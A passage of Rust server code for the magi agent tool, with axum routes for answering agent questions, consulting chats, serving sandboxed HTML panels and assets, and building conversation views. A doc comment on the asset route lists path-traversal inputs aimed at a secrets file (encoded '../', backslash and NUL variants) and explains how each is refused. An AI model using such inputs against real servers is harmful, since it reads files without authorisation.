8137    choice: Option<String>,
8138    text: Option<String>,
8139    talk: Option<String>,
8140    head: Option<String>,
8141}
8142
8143async fn question_answer(
8144    State(ui): State<Arc<Ui>>,
8145    Path(id): Path<String>,
8146    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8147) -> ApiResult<Json<QuestionView>> {
8148    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8149    let answer = match (body.choice, body.text) {
8150        (Some(c), None) => Answer::Choice(c),
8151        (None, Some(t)) => Answer::Text(t),
8152        (Some(_), Some(_)) => {
8153            return Err(ApiError::bad_request(
8154                "send either `choice` or `text`, not both",
8155            ));
8156        }
8157        (None, None) => {
8158            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8159        }
8160    };
8161
8162    blocking(move || {
8163        let id = resolve_question(&ui.questions, &id)?;
8164        let q = ui
8165            .questions
8166            .get(&id)
8167            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8168        if !q.status.open() {
8169            // Answered from the terminal, or by another phone, in between the
8170            // list and the tap. The UI shows the recorded answer rather than an
8171            // error, so it needs the record, not just the status.
8172            return Err(ApiError::conflict(format!(
8173                "question {} is already {}",
8174                q.short(),
8175                q.status.as_str()
8176            )));
8177        }
8178        // `Question::answer` owns the rules - an unoffered choice, free text on
8179        // a multiple-choice question, an empty reply - so the route does not
8180        // restate them and cannot drift from the CLI's behaviour.
8181        let cfg = deputy_config(&ui.repo);
8182        let (q, ()) = ui
8183            .questions
8184            .update(&q.id, |r| {
8185                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8186                // Buttons retain their displayed chat/head binding. A direct
8187                // decision does not require a button or a prior persona offer.
8188                if r.routed_task.is_some()
8189                    && r.merge_target.is_some()
8190                    && merge
8191                    && (body.talk.is_some() || body.head.is_some())
8192                {
8193                    let talk_id = body
8194                        .talk
8195                        .as_deref()
8196                        .context("approval button requires its chat")?;
8197                    let head = body
8198                        .head
8199                        .as_deref()
8200                        .context("approval button requires the displayed head")?;
8201                    let talk = ui.talks.get(talk_id)?;
8202                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8203                    r.answer_chat_button(answer, talk_id, head)
8204                } else {
8205                    r.answer(answer)
8206                }
8207            })
8208            .map_err(ApiError::bad_request_from)?;
8209        let (tasks, talks, watches) =
8210            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8211        Ok(Json(
8212            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8213        ))
8214    })
8215    .await
8216}
8217
8218/// A dedicated status avoids the client's settled-question 409 handling.
8219fn question_text_error(e: anyhow::Error) -> ApiError {
8220    let reason = e
8221        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8222        .map(|e| e.reason);
8223    let error = ApiError::bad_request_from(e);
8224    if let Some(reason) = reason {
8225        ApiError {
8226            text_reason: Some(reason),
8227            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8228        }
8229    } else {
8230        error
8231    }
8232}
8233
8234/// The body of `POST /api/questions/{id}/say`.
8235#[derive(Debug, Deserialize)]
8236#[serde(deny_unknown_fields)]
8237struct NewSay {
8238    body: String,
8239}
8240
8241/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8242///
8243/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8244/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8245/// file, so there is no turn to serialize against and no
8246/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8247/// is a *different* process - the run parked behind `magi ask` - and picks
8248/// the reply up on its own poll of the very same file, same as an answer
8249/// does.
8250async fn question_say(
8251    State(ui): State<Arc<Ui>>,
8252    Path(id): Path<String>,
8253    body: std::result::Result<Json<NewSay>, JsonRejection>,
8254) -> ApiResult<Json<QuestionView>> {
8255    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8256    blocking(move || {
8257        let id = resolve_question(&ui.questions, &id)?;
8258        let q = ui
8259            .questions
8260            .get(&id)
8261            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8262        if !q.status.open() {
8263            // Same granularity as `question_answer`: answered or abandoned in
8264            // between the list and the tap is not this route's error to
8265            // explain any differently.
8266            return Err(ApiError::conflict(format!(
8267                "question {} is already {}",
8268                q.short(),
8269                q.status.as_str()
8270            )));
8271        }
8272        // `Question::say` owns the one rule that matters here - an empty
8273        // message tells the agent nothing - so the route does not restate it.
8274        let cfg = deputy_config(&ui.repo);
8275        let (q, ()) = ui
8276            .questions
8277            .update(&q.id, |r| {
8278                if body.body.trim().is_empty() {
8279                    return r.say(body.body);
8280                }
8281                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8282                r.say(body.body)
8283            })
8284            .map_err(question_text_error)?;
8285        let (tasks, talks, watches) =
8286            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8287        Ok(Json(
8288            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8289        ))
8290    })
8291    .await
8292}
8293
8294/// A disconnected request or a replacing listener cannot interrupt the short
8295/// transaction between persistence and detached worker publication.
8296async fn admitted<T: Send + 'static>(
8297    admission: AdmissionGuard,
8298    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8299) -> ApiResult<T> {
8300    tokio::spawn(async move {
8301        let result = work.await;
8302        drop(admission);
8303        result
8304    })
8305    .await
8306    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8307}
8308
8309/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8310/// came from. The question stays open: the chat agent answers it with `magi
8311/// answer`, or puts the decision to the owner in the conversation.
8312///
8313/// Answers 202 and runs the turn in the background, like every route that
8314/// spends agent calls. The text is queued as a draft of the existing talk, and
8315/// the turn goes through the talk's own gate and session; no seat or waiter is
8316/// started here.
8317async fn question_consult(
8318    State(ui): State<Arc<Ui>>,
8319    Path(id): Path<String>,
8320) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8321    let admission = ui.begin_admission()?;
8322    admitted(admission, async move {
8323        let (q, tasks, talks, watches, talk, cfg) = blocking({
8324            let ui = Arc::clone(&ui);
8325            move || {
8326                let id = resolve_question(&ui.questions, &id)?;
8327                let q = ui.questions.get(&id).map_err(|e| {
8328                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8329                })?;
8330                if !q.status.open() {
8331                    return Err(ApiError::conflict(format!(
8332                        "question {} is already {}",
8333                        q.short(),
8334                        q.status.as_str()
8335                    )));
8336                }
8337                let (tasks, talks, watches) =
8338                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8339                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8340                    return Err(ApiError::conflict(format!(
8341                        "question {} has no chat to ask",
8342                        q.short()
8343                    )));
8344                };
8345                // Read the config before `begin` saves anything: a failure here
8346                // must leave no consult record or draft behind, or a retry would
8347                // see `fresh == false` and never start the turn.
8348                let cfg = if q.consult.is_none() {
8349                    Some(Config::discover(&talk.repo, None)?.0)
8350                } else {
8351                    None
8352                };
8353                Ok((q, tasks, talks, watches, talk, cfg))
8354            }
8355        })
8356        .await?;
8357        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8358            .await
8359            .map_err(ApiError::from)?;
8360        let (view, reclaimed, submitted) = blocking({
8361            let ui = Arc::clone(&ui);
8362            move || {
8363                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8364                let claim = if fresh {
8365                    match ui.begin_queued_talk_turn(&talk.id)? {
8366                        Some(turn_guard) => {
8367                            let talk = ui.talks.get(&talk.id)?;
8368                            let cfg = match cfg {
8369                                Some(cfg) => cfg,
8370                                None => Config::discover(&talk.repo, None)?.0,
8371                            };
8372                            Some((talk, cfg, turn_guard))
8373                        }
8374                        None => None,
8375                    }
8376                } else {
8377                    None
8378                };
8379                let q = ui.questions.get(&q.id)?;
8380                let cfg = deputy_config(&ui.repo);
8381                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8382                    .with_origin(&tasks, &talks, &watches);
8383                Ok((view, claim, fresh.then_some(talk.id)))
8384            }
8385        })
8386        .await?;
8387        #[cfg(not(test))]
8388        {
8389            if let Some(id) = submitted {
8390                crate::consult::spawn_turn(&ui.talks, &id)
8391                    .await
8392                    .map_err(ApiError::from)?;
8393            }
8394            drop(reclaimed);
8395        }
8396        #[cfg(test)]
8397        let _ = submitted;
8398        #[cfg(test)]
8399        if let Some((talk, cfg, turn_guard)) = reclaimed {
8400            let talks = ui.talks.clone();
8401            let id = talk.id.clone();
8402            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8403        }
8404        Ok((StatusCode::ACCEPTED, Json(view)))
8405    })
8406    .await
8407}
8408
8409/// Expand an id or short id to exactly one question id.
8410fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8411    if plain_record_id(id) && store.path_of(id).is_file() {
8412        return Ok(id.to_owned());
8413    }
8414    pick(
8415        store.list().into_iter().map(|q| q.id).collect(),
8416        id,
8417        "question",
8418    )
8419}
8420
8421/// `GET /api/questions/{id}/panel`.
8422///
8423/// The panel an agent wrote for this question, as `text/html` under
8424/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8425/// A question without one is a 404 rather than an empty page: the client
8426/// preflights this route with `HEAD` and must be able to tell "no panel" from
8427/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8428/// parent document so it cannot tell the difference by looking.
8429///
8430/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8431/// sanitises or minifies it - a sanitiser is a list of things someone thought
8432/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8433/// is the direction that stays safe when an agent writes markup nobody
8434/// predicted.
8435async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8436    blocking(move || {
8437        let id = resolve_question(&ui.questions, &id)?;
8438        let Some(html) = ui.questions.panel_html(&id) else {
8439            return Err(ApiError::not_found(format!("question {id} has no panel")));
8440        };
8441        Ok(panel_response(
8442            "text/html; charset=utf-8",
8443            false,
8444            html.into_bytes(),
8445        ))
8446    })
8447    .await
8448}
8449
8450/// `GET /api/questions/{id}/asset/{name}`.
8451///
8452/// One file from the question's own panel directory, so a panel can show a
8453/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8454/// having to allow anything off this machine.
8455///
8456/// This is the only route in the server where a client names a file, so it is
8457/// the only one with a traversal surface, and the name is checked by
8458/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8459/// what is worth being explicit about, because the answer is not "all of it in
8460/// one place":
8461///
8462/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8463///   the raw request path and `{name}` spans exactly one segment, so a real
8464///   slash makes the request too long for the route and the router answers 404.
8465/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8466///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8467///   `..\secrets` respectively, which look like plain filenames to the router.
8468///   The validator refuses them here - both for the literal `..` and because
8469///   `/` and `\` are not in the permitted character set - and answers 400.
8470/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8471///   the platform's path API is not, and it is refused here for the same
8472///   reason: NUL is not a permitted character.
8473/// * [`Questions::panel_asset`] validates again on read, so the check is not
8474///   load-bearing in only one place. This route's own check exists so the
8475///   failure is a 400 that says which name was wrong, rather than a store error
8476///   the operator has to interpret.
8477async fn question_asset(
8478    State(ui): State<Arc<Ui>>,
8479    Path((id, name)): Path<(String, String)>,
8480) -> ApiResult<Response> {
8481    // Before any filesystem work and before any path is built: a name this
8482    // server will not serve should not become a `PathBuf` at all.
8483    if !crate::ask::valid_asset_name(&name) {
8484        return Err(ApiError::bad_request(format!(
8485            "`{name}` is not a usable asset name"
8486        )));
8487    }
8488    blocking(move || {
8489        let id = resolve_question(&ui.questions, &id)?;
8490        let asset = ui
8491            .questions
8492            .panel_asset(&id, &name)
8493            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8494        let Some(bytes) = asset else {
8495            return Err(ApiError::not_found(format!(
8496                "question {id} has no asset `{name}`"
8497            )));
8498        };
8499        Ok(panel_response(
8500            asset_content_type(&name),
8501            is_svg(&name),
8502            bytes,
8503        ))
8504    })
8505    .await
8506}
8507
8508/// Content type for a panel asset, from a closed whitelist.
8509///
8510/// A whitelist with an `application/octet-stream` fallback rather than a
8511/// guess, because the one answer that must never come out of here is
8512/// `text/html`. An agent that writes `notes.html` into its panel directory and
8513/// links it would otherwise get its own markup rendered at the top level of the
8514/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8515/// magi's origin - which is precisely the thing the panel design exists to
8516/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8517///
8518/// `nosniff` accompanies this on every response, so a browser cannot decide it
8519/// knows better than the type we sent.
8520fn asset_content_type(name: &str) -> &'static str {
8521    match extension(name).as_deref() {
8522        Some("png") => "image/png",
8523        Some("jpg" | "jpeg") => "image/jpeg",
8524        Some("gif") => "image/gif",
8525        Some("webp") => "image/webp",
8526        Some("svg") => "image/svg+xml",
8527        Some("css") => "text/css; charset=utf-8",
8528        Some("txt") => "text/plain; charset=utf-8",
8529        _ => "application/octet-stream",
8530    }
8531}
8532
8533/// Is this an SVG, and therefore a file that must never be opened at the top
8534/// level?
8535fn is_svg(name: &str) -> bool {
8536    extension(name).as_deref() == Some("svg")
8537}
8538
8539/// Lowercased extension, or `None` for a name without one.
8540fn extension(name: &str) -> Option<String> {
8541    name.rsplit_once('.')
8542        .map(|(_, ext)| ext.to_ascii_lowercase())
8543}
8544
8545/// Every panel response, with the four headers that make it safe and, for an
8546/// SVG, a fifth.
8547///
8548/// One function rather than a header list per handler, because a panel route
8549/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8550/// model gone, silently, on one of two routes. Adding a third panel route later
8551/// means calling this, and there is nowhere else to build a panel response.
8552///
8553/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8554/// as an `<img src>` inside the panel that script cannot run - but the asset
8555/// URL is also a plain URL an operator can be talked into opening in a tab,
8556/// where it is a document on magi's own origin. `Content-Disposition:
8557/// attachment` makes the browser download it instead of rendering it, which
8558/// closes that door without taking away the ability to draw a diff. Raster
8559/// images have no such execution surface and are left inline, so tapping a
8560/// screenshot still shows it.
8561fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8562    let mut res = (
8563        [
8564            (header::CONTENT_TYPE, content_type),
8565            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8566            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8567            (header::REFERRER_POLICY, "no-referrer"),
8568        ],
8569        body,
8570    )
8571        .into_response();
8572    if download {
8573        res.headers_mut().insert(
8574            header::CONTENT_DISPOSITION,
8575            HeaderValue::from_static("attachment"),
8576        );
8577    }
8578    res
8579}
8580
8581/// A talk as the phone reads it.
8582///
8583/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8584/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8585/// parses markdown itself - and the process-local `thinking` hint.
8586#[derive(Debug, Serialize)]
8587struct ChatApproval {
8588    question: String,
8589    target: crate::merge_decision::Target,
8590}
8591
8592#[derive(Debug, Serialize)]
8593struct TalkView {
8594    #[serde(flatten)]
8595    talk: Talk,
8596    turn_bodies_md: Vec<Vec<md::Node>>,
8597    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8598    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8599    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8600    merge_approvals: Vec<ChatApproval>,
8601    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8602    /// this server process.
8603    ///
8604    /// This is deliberately not durable: another server process cannot see
8605    /// it, and a restarted server must not claim an old turn is live. It is a
8606    /// progress hint rather than proof a reply landed; the transcript remains
8607    /// the source of truth for that.
8608    thinking: bool,
8609    /// Context-window usage, derived per request - see
8610    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8611    /// and each mutation) so the phone needs no extra call or polling.
8612    context: talk::ContextUsage,
8613    /// `[talk] operator_name`, when configured; the Chat labels the
8614    /// operator's turns with it.
8615    operator_name: Option<String>,
8616    /// The active persona's display name; `None` for the default voice.
8617    persona_name: Option<String>,
8618    /// URL of the avatar for the conversation's persona (the default voice
8619    /// included). Server-built; a configured `icon` never reaches the client.
8620    persona_avatar: String,
8621    /// Operator avatar; display only and independent of repository config.
8622    operator_avatar: String,
8623    magi_avatar: String,
8624}
8625
8626impl TalkView {
8627    /// Reads the talk's repository config itself; a config that cannot be
8628    /// read leaves the window unknown but never fails the conversation.
8629    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8630        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8631        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8632    }
8633
8634    /// As [`Self::new`], with the config already in hand (the list reads one
8635    /// per repository, not one per conversation).
8636    fn with_config(
8637        talk: Talk,
8638        thinking: bool,
8639        cfg: Option<&Config>,
8640        home: &FsPath,
8641        cache: &id_links::IndexCache,
8642    ) -> Self {
8643        let references = cache.for_talk(home, &talk);
8644        Self::with_references(talk, thinking, cfg, home, &references)
8645    }
8646
8647    fn with_references(
8648        mut talk: Talk,
8649        thinking: bool,
8650        cfg: Option<&Config>,
8651        home: &FsPath,
8652        references: &id_links::IdIndex,
8653    ) -> Self {
8654        // This owned value is the display DTO; never write it back to the talk store.
8655        let snapshot = talk.clone();
8656        for (index, turn) in talk.turns.iter_mut().enumerate() {
8657            let original = &snapshot.turns[index];
8658            if turn.messages.is_empty() {
8659                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8660                    turn.messages.push(talk::Message {
8661                        sender: Some(talk::Sender::Magi),
8662                        body: original.body.clone(),
8663                        display: Some(display),
8664                        attachments: original.attachments.clone(),
8665                        reply: None,
8666                    });
8667                }
8668            } else {
8669                for (i, message) in turn.messages.iter_mut().enumerate() {
8670                    message.display =
8671                        talk::notice_display(&snapshot, original, original.messages.get(i));
8672                    if message.display.is_some() {
8673                        message.sender = Some(talk::Sender::Magi);
8674                    }
8675                }
8676            }
8677        }
8678        for message in &mut talk.pending_messages {
8679            if message.display.is_none()
8680                && (message.sender == Some(talk::Sender::Magi)
8681                    || snapshot
8682                        .completion_notices
8683                        .iter()
8684                        .any(|r| r.notice == message.body))
8685            {
8686                message.display = crate::prompt::legacy_notice_display(&message.body);
8687                if message.display.is_some() {
8688                    message.sender = Some(talk::Sender::Magi);
8689                }
8690            }
8691        }
8692        if talk.pending_messages.is_empty()
8693            && snapshot
8694                .completion_notices
8695                .iter()
8696                .any(|r| r.notice == talk.pending)
8697            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8698        {
8699            talk.pending_messages.push(talk::Message {
8700                sender: Some(talk::Sender::Magi),
8701                display: Some(display),
8702                body: talk.pending.clone(),
8703                attachments: talk.pending_attachments.clone(),
8704                reply: None,
8705            });
8706        }
8707        let excerpts: Vec<Vec<Option<String>>> = talk
8708            .turns
8709            .iter()
8710            .map(|turn| {
8711                turn.messages
8712                    .iter()
8713                    .map(|m| {
8714                        m.display
8715                            .as_ref()
8716                            .map(|d| d.facts.chars().take(240).collect())
8717                    })
8718                    .collect()
8719            })
8720            .collect();
8721        for turn in &mut talk.turns {
8722            let provenance = talk::sender(turn, None);
8723            turn.sender = Some(provenance);
8724            for message in &mut turn.messages {
8725                message.sender = Some(message.sender.unwrap_or(provenance));
8726            }
8727        }
8728        // Old reply snapshots have only a role; recover provenance from their target.
8729        let senders: Vec<Vec<talk::Sender>> = talk
8730            .turns
8731            .iter()
8732            .map(|turn| {
8733                if turn.messages.is_empty() {
8734                    vec![talk::sender(turn, None)]
8735                } else {
8736                    turn.messages
8737                        .iter()
8738                        .map(|m| talk::sender(turn, Some(m)))
8739                        .collect()
8740                }
8741            })
8742            .collect();
8743        for reply in talk
8744            .turns
8745            .iter_mut()
8746            .flat_map(|t| t.messages.iter_mut())
8747            .chain(talk.pending_messages.iter_mut())
8748            .filter_map(|m| m.reply.as_mut())
8749        {
8750            if let Some(Some(excerpt)) = excerpts
8751                .get(reply.target.turn)
8752                .and_then(|ms| ms.get(reply.target.message))
8753            {
8754                reply.excerpt = excerpt.clone();
8755                reply.sender = Some(talk::Sender::Magi);
8756            }
8757            if reply.sender.is_none() {
8758                reply.sender = senders
8759                    .get(reply.target.turn)
8760                    .and_then(|messages| messages.get(reply.target.message))
8761                    .copied();
8762            }
8763        }
8764        let context = talk::context_usage(&talk, cfg);
8765        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8766            .turns
8767            .iter()
8768            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8769            .collect();
8770        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8771            .turns
8772            .iter()
8773            .map(|turn| {
8774                if turn.messages.is_empty() {
8775                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8776                } else {
8777                    turn.messages
8778                        .iter()
8779                        .map(|message| {
8780                            notice_markdown(
8781                                message.sender.unwrap_or(talk::Sender::Operator),
8782                                &message.body,
8783                                message.display.as_ref(),
8784                            )
8785                        })
8786                        .collect()
8787                }
8788            })
8789            .collect();
8790        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8791            .pending_messages
8792            .iter()
8793            .map(|message| {
8794                notice_markdown(
8795                    message.sender.unwrap_or(talk::Sender::Operator),
8796                    &message.body,
8797                    message.display.as_ref(),
8798                )
8799            })
8800            .collect();
8801        for nodes in &mut turn_bodies_md {
8802            references.markdown(nodes);
8803        }
8804        for nodes in turn_messages_md
8805            .iter_mut()
8806            .flatten()
8807            .chain(pending_messages_md.iter_mut())
8808            .flatten()
8809        {
8810            references.markdown(nodes);
8811        }
8812        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8813        let persona_name = persona::find(specs, &talk.persona)
8814            .filter(|p| !p.is_default())
8815            .map(|p| p.name);
8816        let mut avatar_persona = persona::find(specs, &talk.persona)
8817            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8818        // A removed configured persona may still have an override and old talks.
8819        if avatar_persona.id != talk.persona
8820            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8821        {
8822            avatar_persona.id.clone_from(&talk.persona);
8823            avatar_persona.icon = None;
8824        }
8825        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8826        let approvals_store = ask::Questions::at(home.join("questions"));
8827        let merge_approvals = talk
8828            .notified
8829            .iter()
8830            .filter_map(|key| key.strip_prefix("question:"))
8831            .filter_map(|id| approvals_store.get(id).ok())
8832            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8833            .filter_map(|q| {
8834                Some(ChatApproval {
8835                    question: q.id,
8836                    target: q.merge_target?,
8837                })
8838            })
8839            .collect();
8840        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8841        Self {
8842            turn_bodies_md,
8843            turn_messages_md,
8844            pending_messages_md,
8845            merge_approvals,
8846            thinking,
8847            context,
8848            operator_name,
8849            persona_name,
8850            persona_avatar,
8851            magi_avatar: magi_icon_url(home),
8852            operator_avatar: operator_icon_url(home),
8853            talk,
8854        }
8855    }
8856}
8857
8858/// Parse only the user-facing representation of an explicitly identified MAGI send.
8859fn notice_markdown(
8860    sender: talk::Sender,
8861    body: &str,
8862    display: Option<&crate::prompt::NoticeDisplay>,
8863) -> Option<Vec<md::Node>> {
8864    if sender != talk::Sender::Magi {
8865        return None;
8866    }
8867    let text = if let Some(display) = display {
8868        display.facts.as_str()
8869    } else {
8870        // Unknown completion templates may contain internal directives. Never
8871        // promote their agent input to the Markdown display surface.
8872        if crate::prompt::is_completion_notice(body)
8873            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8874        {
8875            return None;
8876        }
8877        body.strip_prefix("magi: ").unwrap_or(body)
8878    };
8879    Some(md::to_nodes(text, &md::ImageBase::None))
8880}
8881
8882/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8883/// conversation has filed, so the phone can follow one from inside the
8884/// conversation that asked for it rather than hunting the Queue for a task id
8885/// it may not remember.
8886#[derive(Debug, Serialize)]
8887struct TalkDetailView {
8888    #[serde(flatten)]
8889    view: TalkView,
8890    tasks: Vec<TaskView>,
8891    task_progress: TalkTaskProgress,
8892    /// The agents this talk's repository can switch to; empty when its
8893    /// configuration cannot be read, which must not fail the whole detail.
8894    roster: Vec<RosterEntry>,
8895    /// The personas the conversation can pick from. The built-ins are always
8896    /// listed, even when the repository's configuration cannot be read.
8897    personas: Vec<PersonaEntry>,
8898}
8899
8900/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8901#[derive(Debug, Serialize)]
8902struct TalkTaskProgress {
8903    state: &'static str,
8904    total: usize,
8905    done: usize,
8906    counts: std::collections::BTreeMap<&'static str, usize>,
8907    unfinished_ids: Vec<String>,
8908}
8909
8910fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8911    let mut counts = std::collections::BTreeMap::from([
8912        ("queued", 0),
8913        ("running", 0),
8914        ("done", 0),
8915        ("failed", 0),
8916        ("held", 0),
8917        ("blocked", 0),
8918        ("parked", 0),
8919    ]);
8920    let mut unfinished_ids = Vec::new();
8921    for task in tasks {
8922        *counts.entry(task.status.as_str()).or_default() += 1;
8923        if task.status != TaskStatus::Done {
8924            unfinished_ids.push(task.id.clone());
8925        }
8926    }
8927    TalkTaskProgress {
8928        state: if tasks.is_empty() {
8929            "none"
8930        } else if unfinished_ids.is_empty() {
8931            "complete"
8932        } else {
8933            "incomplete"
8934        },
8935        total: tasks.len(),
8936        done: tasks.len() - unfinished_ids.len(),
8937        counts,
8938        unfinished_ids,
8939    }
8940}
8941
8942/// One persona as the talk's persona selector shows it.
8943#[derive(Debug, Serialize)]
8944struct PersonaEntry {
8945    id: String,
8946    name: String,
8947    /// Avatar URL, see [`TalkView::persona_avatar`].
8948    avatar: String,
8949}
8950
8951/// One roster agent as the talk's agent selector shows it.
8952#[derive(Debug, Serialize)]
8953struct RosterEntry {
8954    id: String,
8955    kind: AgentKind,
8956    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8957    runnable: bool,
8958}
8959
8960/// Bounded summaries; `/page` carries a cursor for older membership.
8961async fn talks_list(
8962    State(ui): State<Arc<Ui>>,
8963    Query(q): Query<ListQuery>,
8964    headers: header::HeaderMap,
8965) -> ApiResult<Json<Vec<TalkListView>>> {
8966    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8967        let limit = q.limit.unwrap_or(50).min(50);
8968        let ids = if let Some(ids) = q.ids {
8969            ids.split(',')
8970                .filter(|id| plain_record_id(id))
8971                .take(limit)
8972                .map(str::to_owned)
8973                .collect()
8974        } else {
8975            page_ids(&ui, true, PageQuery::default())?
8976                .0
8977                .into_iter()
8978                .take(limit.min(STORE_PAGE_SIZE))
8979                .collect()
8980        };
8981        Ok(Json(talk_rows(&ui, ids, &headers)))
8982    })
8983    .await
8984}
8985
8986/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8987/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8988/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8989/// end still opens a talk against an older binary.
8990#[derive(Debug, Default, Deserialize)]
8991#[serde(default)]
8992struct NewTalk {
8993    agent: Option<String>,
8994    repo: Option<PathBuf>,
8995    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8996    /// wrong type is dropped like a stale value instead of failing the request;
8997    /// each falls back to its default on its own (see [`talk::begin_with`]).
8998    preferred_agent: Option<serde_json::Value>,
8999    persona: Option<serde_json::Value>,
9000    implementers: Option<serde_json::Value>,
9001}
9002
9003/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9004/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9005async fn talk_post(
9006    State(ui): State<Arc<Ui>>,
9007    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9008) -> ApiResult<impl IntoResponse> {
9009    // An absent body, or an empty one, is the normal way to open a talk - see
9010    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9011    // rather than refused.
9012    let body = match body {
9013        Ok(Json(body)) => body,
9014        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9015        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9016    };
9017    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9018    let cfg = config_for(&repo).await?;
9019    let view = blocking(move || {
9020        let preferred = talk::Preferred {
9021            agent: body
9022                .preferred_agent
9023                .as_ref()
9024                .and_then(|v| v.as_str())
9025                .map(str::to_owned),
9026            persona: body
9027                .persona
9028                .as_ref()
9029                .and_then(|v| v.as_str())
9030                .map(str::to_owned),
9031            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9032        };
9033        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9034        let thinking = ui.is_thinking(&talk.id);
9035        Ok(TalkView::new(talk, thinking, &ui))
9036    })
9037    .await?;
9038    Ok((StatusCode::CREATED, Json(view)))
9039}
9040
9041/// Transcript first: unrelated queue history and repository probes are deferred.
9042async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9043    // Keep transcript reads independent of sections and the runtime blocking pool.
9044    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
